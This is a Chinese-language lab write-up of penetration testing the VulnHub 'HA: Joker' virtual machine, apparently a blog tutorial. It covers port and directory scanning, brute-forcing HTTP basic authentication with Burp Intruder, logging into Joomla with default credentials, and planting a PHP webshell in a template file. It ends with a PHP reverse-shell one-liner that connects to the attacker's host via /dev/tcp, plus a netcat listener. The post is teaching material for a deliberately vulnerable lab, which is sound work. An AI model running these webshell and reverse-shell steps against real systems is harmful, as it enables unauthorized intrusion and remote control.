【渗透测试】——VulnHub靶机渗透实战 | HA:Joker

📖 前言:Vulnhub 是一个漏洞靶场平台,里面含有大量的靶场镜像,只需要下载虚拟机镜像,导入 VMWare 或者 VirtualBox 即可启动靶场。本文将从环境搭建、端口扫描、目录扫描到信息提取和突破8080端口,尽可能排除新版本遇到的环境Bug,详解介绍渗透测试全过程。如果你是新手小白,本文将带你一窥渗透测试的世界。


🕒 1. Kali环境与Joker靶场搭建

🔎 Kali Linux环境部署

注:Kali应设置为桥接模式。

在这里插入图片描述

首先,开启命令行窗口输入ifconfig查看IP地址。
在这里插入图片描述

Kali 输入ifconfig后eth0只有ipv6地址的解决方案

在这里插入图片描述
1、在虚拟网络编辑器上选择桥接模式,桥接的网卡别选自动,选择自己的网卡,具体可以在网络和适配器中查看
在这里插入图片描述在这里插入图片描述
2、再次ifconfig,ipv4地址出现。

🔎 Joker靶场

解压后用VMware打开即可。

🕒 2. 端口扫描

🕘 2.1 nmap

nmap 192.168.31.*

对Kali所属的网段进行全网段扫描,其中*表示通配符0~255。观察开放端口,及对应的不同服务。
在这里插入图片描述
在这里插入图片描述

如果开放的端口有80端口,推测该主机很有可能是一个网站服务器,在浏览器中的地址栏中输入此地址192.168.31.182尝试进行访问。
在这里插入图片描述

进一步扫描该靶场开放的端口信息

nmap -T4 -sV -A 192.168.31.182

-T4 提高扫描速度,-sV 检测服务版本,-A 启用高级扫描选项如操作系统探测和脚本扫描。

在这里插入图片描述

依次访问端口查看开放了什么服务

192.168.31.182:8080	# HTTP

在这里插入图片描述

发现需要账号密码才能进行登录,接下来要想办法收集账号密码信息,先用root账户和弱密码试试。

192.168.31.182:22	# SSH

注:在XShell中尝试进行SSH连接
在这里插入图片描述

发现不行,我们后文再讨论其收集方法。

🕘 2.2 fscan

fscan一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

🔎 fscan下载链接

注意杀毒软件设置信任

在这里插入图片描述

fscan.exe -h 192.168.31.0/24

在这里插入图片描述

🕒 3. 目录扫描

🕘 3.1 dirsearch

在安全测试时,进行信息收集时可使用dirsearch进行目录枚举。将爬取到的url进行状态码识别,如果是403状态则进行保存,尝试绕过403以找到隐藏文件,并获取管理员权限。

🔎 dirsearch下载链接

下载完成后,直接在路径处输入cmd快速在当前目录下打开
在这里插入图片描述
随后批量安装依赖库,在CMD窗口中执行:

pip install -r requirements.txt		# 安装依赖库

安装完成依赖库,即可开始批量扫描:

python dirsearch.py -u http://192.168.31.182

在这里插入图片描述

HTTP 状态码科普

  • 2xx 存在且可访问
  • 3xx 存在但是给你重定向到另外的网站了
  • 403 可能存在,但是不允许你访问
  • 404 不存在
  • 405 请求方式不被允许
  • 500 服务器错误,通常是指服务器不能使用或者故障

🔎 HTTP 状态码 - 菜鸟教程

重点看图中标绿色的两个文件 phpinfo.php 和 secret.txt

在这里插入图片描述

在这里插入图片描述
其中phpinfo里面都是一些配置信息,价值不大。secret文件可以看到一段信息。

🕘 3.2 Dirb

在Kali中,我们同样可以使用web网站目录爆破工具Dirb进行目录扫描

在扫描过程中,选取详细强大的字典尤为重要。这里我们直接选取dirsearch的字典。

dirb http://192.168.31.182 dicc.txt -w

在这里插入图片描述

可以看到dirb扫描较慢,是由于单线程的缘故,实战中常使用前述采用多线程的dirsearch。

在这里插入图片描述

🕒 4. 信息提取

FindSomething是一款轻量级的浏览器插件,帮助用户快速查找网页源代码和JavaScript中的隐藏信息,如API请求、IP地址、敏感数据泄露等,便于开发者和安全人员进行分析。

我们可以在Chrome(需科学上网)或Firefox的扩展商店下载安装。
在这里插入图片描述
打开网页,右上角点击插件FindSomething,我们就可以看到站点的相关信息了。

在这里插入图片描述

🕒 5. 8080端口突破

🕘 5.1 爆破账号密码

书接上回,我们需要通过Brup Suite抓包分析

🔎 Brup Suite平台安装

在这里插入图片描述
通过尝试弱口令登录并代理发现,其请求包中发送的账号密码是隐藏的,隐藏在Authentication字段中。很明显我们猜测是某种加密或编码,我们放到编码工具尝试解码一下。

在这里插入图片描述
挨个尝试一下,发现是Base64编码的,这里也看到了我们尝试登陆的账号与弱口令。

接下来我们对其payload进行处理,观察格式为账号:密码,发送到Intruder中

在Payload的标签页中下划到Payload处理 → 添加 → 添加前缀 → admin:

添加 → 编码 → Base64编码

在这里插入图片描述

开始攻击

在这里插入图片描述

观察结果,发现长度没区别,换言之并没有解开密码。会不会是字典不全面?

还记得前面我们目录扫描到的secret.txt吗,其实里面有些提示。

在这里插入图片描述
其实指的是rockyou这个字典
在这里插入图片描述
我们更改字典尝试一下

在这里插入图片描述
似乎没什么变化,是不是我们账号错了?结合secret.txt的提示,是去击败joker。我们猜测一下用户名是joker。

在这里插入图片描述

在这里插入图片描述

我们惊喜的发现,获取到正确的密码,并且成功登录了。
在这里插入图片描述
接下来我们尝试获取网站后台管理最高权限。

在这里插入图片描述
Joomla框架的网页在登录的时候会有一个超级管理员的默认账号密码是joomla/joomla,尝试使用弱口令进行登录,用同样的方式进行后台登录。

在这里插入图片描述
在这里插入图片描述

🕘 5.2 入侵后台管理

以上页面搜寻一圈,发现没有什么可以攻击的地方,对于一个网站而言,应该是会有个后台管理页面,会在哪里呢?

请出dirsearch软件

python dirsearch.py --auth-type=basic --auth=joker:hannah -u http://192.168.31.182:8080/

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

账号密码就是前面我们推测的超级管理员的 joomla/joomla

在这里插入图片描述

🕘 5.3 webshell

shell是渗透中常用的名词,如getshell,webshell,反弹shell等等,都和shell相关。

  • getshell:获取到目标的命令执行权限
  • webshell:指网站后门,通过web服务进行命令执行
  • 反弹shell:把命令行的输入输出转移到其它主机

逐一点开各功能搜寻是否有上传文件的位置

在这里插入图片描述
Extension:插件扩展,大多数漏洞都源自于此

点进去后发现是个主题,随便进入一个

在这里插入图片描述
我们惊喜的发现我们可以随意编辑与新增文件!试试一句话木马

在这里插入图片描述

成功保存!接下来需要尝试寻找该文件所在的URL,先采取猜测拼接的方法。
以上图为例,我们是将文件保存在beez3/language这个目录下,我们尝试将其拼接进URL

http://192.168.31.182:8080/templates/beez3/language/test.php

注意这个templates不是一下子就想出来的哦,比如会猜测是template/Templates/templates 这些,一个个尝试联想排除。

在这里插入图片描述
我们将代码改成webshell的,随后使用中国蚁剑控制,第一次用该软件的友友可以参考下面的文章过一遍

🔎 【DVWA】——File Upload(文件上传)

在这里插入图片描述

发现不成功,为什么呢?这里其实涉及basic认证的问题,使用BP抓包可以发现

在这里插入图片描述

将认证信息复制进配置里,即可连接成功

在这里插入图片描述

在这里插入图片描述

🕘 5.4 反弹shell

什么是反弹shell:简单理解就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

为什么要反弹shell:被控端会出现防火墙受限、权限不足、端口被占用等情形。

在本次实验中,我们让joker连接至kali。现实情况下,我们会采取购置一个公网IP的方式使受害者主机连接,而不是连接到攻击者主机的虚拟机kali。

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.232/7777 0>&1'");?>

这个 PHP 代码段执行了一条命令,该命令通过 Bash 创建了一个反向 shell 连接:

  • PHP exec 函数: exec 是 PHP 的一个函数,用于执行系统命令,并且可以获取命令的输出。
  • /bin/bash -c: 这是告诉 Bash 执行后面指定的命令字符串。-c 选项表示要执行的命令是在引号中指定的字符串。
  • bash -i: 启动一个交互式的 Bash shell。
  • >& /dev/tcp/192.168.31.232/7777: 将标准输出和标准错误输出重定向到 /dev/tcp/192.168.31.232/7777。这是一个特殊的设备文件,它允许 Bash 通过 TCP 协议连接到指定的 IP 地址和端口。
  • 0>&1: 将标准输入重定向到标准输出(已经重定向到 TCP 连接的设备)。

将上述代码写入前面创建的test.php中,并在kali中开启监听

nc -lvnp 7777
  • nc:调用 netcat,一个用于网络连接的工具,可以作为服务器端或客户端使用,通常用于调试、创建反向Shell等。
  • -l:表示监听模式,即等待来自外部的连接,充当一个服务器。
  • -v:启用详细模式,显示更多连接过程中的详细信息。
  • -n:忽略DNS解析,直接使用IP地址(加快连接速度)。
  • -p 7777:指定监听的端口号,这里是 7777 端口。

刷新一下test.php所在的URL

在这里插入图片描述

在这里插入图片描述
可以看到kali此刻已经拿下命令行权限。


OK,以上就是本期知识点“Joker靶场实战”的知识啦~~ ,感谢友友们的阅读。后续还会继续更新,欢迎持续关注哟📌~
💫如果有错误❌,欢迎批评指正呀👀~让我们一起相互进步🚀
🎉如果觉得收获满满,可以点点赞👍支持一下哟~

❗ 转载请注明出处
作者:HinsCoder
博客链接:🔎 作者博客主页

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值